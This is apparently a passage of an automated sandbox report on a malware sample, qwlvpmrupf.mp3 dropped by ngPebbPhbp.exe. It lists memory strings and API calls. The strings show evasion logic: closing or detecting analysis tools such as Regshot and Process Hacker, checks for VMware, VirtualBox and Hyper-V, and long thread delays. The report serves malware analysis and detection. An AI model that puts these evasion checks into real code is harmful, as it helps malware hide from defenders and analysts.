Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2213298133.00000000019A3000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000002.2217573693.00000000019A5000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215926455.00000000019A5000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213000386.0000000001994000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215658045.00000000019A4000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214246439.00000000019A4000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215081504.00000000019A4000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2121860556.0000000001986000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")C
Source: qwlvpmrupf.mp3, 00000007.00000002.1953687346.0000000001073000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947073721.0000000001066000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1950281908.0000000001073000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947262131.000000000106A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001055000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1948261084.0000000001072000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1946884763.000000000105D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079423406.0000000001763000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1992063073.0000000001733000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2078136333.0000000001762000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("REGSHOT.EXE")
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2214116379.0000000001A34000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214030847.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215974566.0000000001A38000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2212858946.00000000019CD000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2216069254.0000000001A3A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000002.2217801117.0000000001A3B000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213912161.0000000001A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXESEQ
Source: qwlvpmrupf.mp3, 00000007.00000002.1953687346.0000000001073000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947073721.0000000001066000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1950281908.0000000001073000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947262131.000000000106A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001055000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1948261084.0000000001072000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1946884763.000000000105D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2076809860.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079814695.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076956481.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077127799.00000000017FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXEZ2
Source: qwlvpmrupf.mp3, 00000007.00000003.1947833274.0000000001097000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947073721.0000000001097000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1951093785.0000000001097000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1953739155.0000000001097000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001097000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294338025.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206751800.0000000001394000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2297587542.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206906562.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2294497605.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294338025.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000002.2300827397.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294851662.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2296379791.00000000013C1000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2297015354.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206751800.0000000001394000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206906562.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("REGSHOT.EXE")F
Source: qwlvpmrupf.mp3, 00000007.00000003.1948331020.000000000110E000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947692153.000000000110D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1954130925.0000000001110000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947430431.0000000001109000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1951910362.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXES
Source: OpenWith.exe, 0000000F.00000002.2945478445.0000000004EB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ERE.EXEFIDDLER.EXEIDA.EX
Source: OpenWith.exe, 0000000F.00000002.2945478445.0000000004EB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2076809860.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079814695.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076956481.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077127799.00000000017FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXES2
Source: qwlvpmrupf.mp3, 00000007.00000003.1948331020.000000000110E000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947692153.000000000110D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1954130925.0000000001110000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947430431.0000000001109000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1951910362.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE-
Source: qwlvpmrupf.mp3.exe, 00000013.00000002.2301475753.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXES7
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2294497605.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294338025.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000002.2300827397.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294851662.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2296379791.00000000013C1000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2297015354.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206751800.0000000001394000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206906562.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")Z
Source: OpenWith.exe, 0000000F.00000002.2945478445.0000000004EB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OCEXP64.EXETCPVIEW.EXETCPVIEW64.EXEPROCMON.EXE
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000008255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("REGSHOT.EXE")
Source: OpenWith.exe, 0000000F.00000002.2945478445.0000000004EB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: qwlvpmrupf.mp3, 00000007.00000003.1948331020.000000000110E000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947692153.000000000110D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1954130925.0000000001110000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947430431.0000000001109000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1951910362.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXEA
Source: qwlvpmrupf.mp3.exe, 00000010.00000002.2079423406.0000000001763000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1992063073.0000000001733000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2078136333.0000000001762000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076356702.0000000001750000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1992150517.0000000001744000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076501420.0000000001756000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2078498674.0000000001763000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")O
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2213103873.0000000001988000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215757310.000000000198A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2216123247.000000000198D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2121860556.0000000001986000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THENJ
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2214116379.0000000001A34000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214030847.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215974566.0000000001A38000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2212858946.00000000019CD000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2216069254.0000000001A3A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000002.2217801117.0000000001A3B000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213912161.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000002.2301475753.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXE
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.1992063073.0000000001733000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076356702.0000000001750000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1992150517.0000000001744000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079472285.0000000001766000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076669694.0000000001765000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076501420.0000000001756000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THENH
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2213298133.00000000019A3000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213000386.0000000001994000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215658045.00000000019A4000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214246439.00000000019A4000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215081504.00000000019A4000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2121860556.0000000001986000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("REGSHOT.EXE")+

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	API coverage: 5.7 %
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	API coverage: 5.4 %

Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe TID: 3300	Thread sleep count: 68 > 30
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe TID: 3300	Thread sleep count: 191 > 30
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe TID: 3300	Thread sleep count: 94 > 30

Source: C:\Windows\SysWOW64\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B0F826 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00B0F826
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B21630 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,	0_2_00B21630
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003DE387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	7_2_003DE387
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003DD836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_003DD836
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003DDB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_003DDB69
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E9F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_003E9F9F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003EA0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_003EA0FA
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003EA488 FindFirstFileW,Sleep,FindNextFileW,FindClose,	7_2_003EA488
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E65F1 FindFirstFileW,FindNextFileW,FindClose,	7_2_003E65F1
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E7248 FindFirstFileW,FindClose,	7_2_003E7248
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E72E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	7_2_003E72E9
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DFE387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	16_2_00DFE387
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DFD836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00DFD836
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DFDB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00DFDB69
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E09F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_00E09F9F
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E0A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_00E0A0FA
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E0A488 FindFirstFileW,Sleep,FindNextFileW,FindClose,	16_2_00E0A488
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E065F1 FindFirstFileW,FindNextFileW,FindClose,	16_2_00E065F1
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E072E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	16_2_00E072E9
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E07248 FindFirstFileW,FindClose,	16_2_00E07248

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B24E14 VirtualQuery,GetSystemInfo,

0_2_00B24E14

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: qwlvpmrupf.mp3.exe, 00000012.00000002.2217353768.0000000001957000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VboxService.exe") Then
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2077633430.00000000017A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareUser.exe
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2294257622.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VboxService.exeT=
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2296334976.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareUser.exe5FB536C7
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2206906562.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VboxService.exe") Thenv
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2077633430.00000000017A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareService.exe
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2296334976.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareService.exe(
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2206906562.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then_$
Source: ngPebbPhbp.exe, 00000000.00000003.1739308660.000000000354F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: OpenWith.exe, 0000000F.00000002.2945020852.0000000003528000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000002.2945020852.00000000035A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareService.exe59767-q*
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2296872419.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2296756734.0000000001398000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206751800.0000000001394000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2297587542.00000000013A5000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2206906562.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VBoxTray.exe") Then30\|q
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2076356702.0000000001787000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076454608.000000000178D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076887703.0000000001790000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077612652.000000000179F000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077633430.00000000017A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VBoxTray.exev
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2078297593.0000000001741000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1992063073.0000000001733000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079283835.0000000001741000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1992150517.0000000001744000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077795230.000000000173F000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077763537.0000000001737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VBoxTray.exe") Thensw
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2212858946.00000000019CD000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215199995.00000000019E0000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215043797.00000000019DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VBoxTray.exe\|
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.1992150517.0000000001744000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VboxService.exe") ThengC
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareUser.exe3A765687Iq
Source: qwlvpmrupf.mp3, 00000007.00000003.1946884763.000000000105D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then"
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2121860556.0000000001986000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
Source: qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001055000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VboxService.exe") ThenQy
Source: qwlvpmrupf.mp3, 00000007.00000003.1950739253.000000000104C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1951848484.0000000001055000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1952934549.0000000001055000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001055000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1950894323.0000000001053000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VBoxTray.exe") ThenP*&
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2076356702.0000000001750000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Thenp21"
Source: OpenWith.exe, 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
